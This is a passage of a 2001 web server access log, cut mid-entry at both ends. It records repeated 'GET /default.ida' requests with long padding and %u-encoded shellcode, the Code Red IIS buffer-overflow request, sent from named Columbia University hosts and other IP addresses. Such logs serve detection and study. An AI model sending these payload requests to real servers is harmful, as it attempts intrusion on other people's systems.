/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 22:14:04: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 22:27:10: [61.178.120.41] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 23:21:22: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 23:39:00: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010914 23:53:39: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 01:04:52: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 01:23:06: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 01:48:03: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 02:00:38: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 02:00:39: 200-184-28-18.intelignet.com.br [200.184.28.18] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 02:54:42: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 03:23:54: [218.2.150.5] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 04:03:40: AVelizy-101-1-1-153.abo.wanadoo.fr [193.251.75.153] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 04:35:15: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 07:15:49: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 08:36:07: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 08:38:35: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 09:42:45: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 10:40:16: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 10:51:54: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 15:12:29: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 15:58:13: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 16:24:27: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 16:40:56: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 17:44:09: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 18:53:25: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 19:35:48: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 20:02:03: dialup-ccts5-173.cc.columbia.edu [128.59.6.182] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 20:31:34: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 21:17:40: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 21:22:24: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 21:23:10: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 21:37:44: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010915 21:47:35: [202.101.127.12] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 00:23:20: [61.77.227.2] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 01:18:33: [212.25.79.242] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 01:22:05: dialup-cc3-1.cc.columbia.edu [128.59.42.106] "" 20010916 02:20:46: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 03:03:23: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 03:22:41: dhcp33.cs.columbia.edu [128.59.19.233] "GET 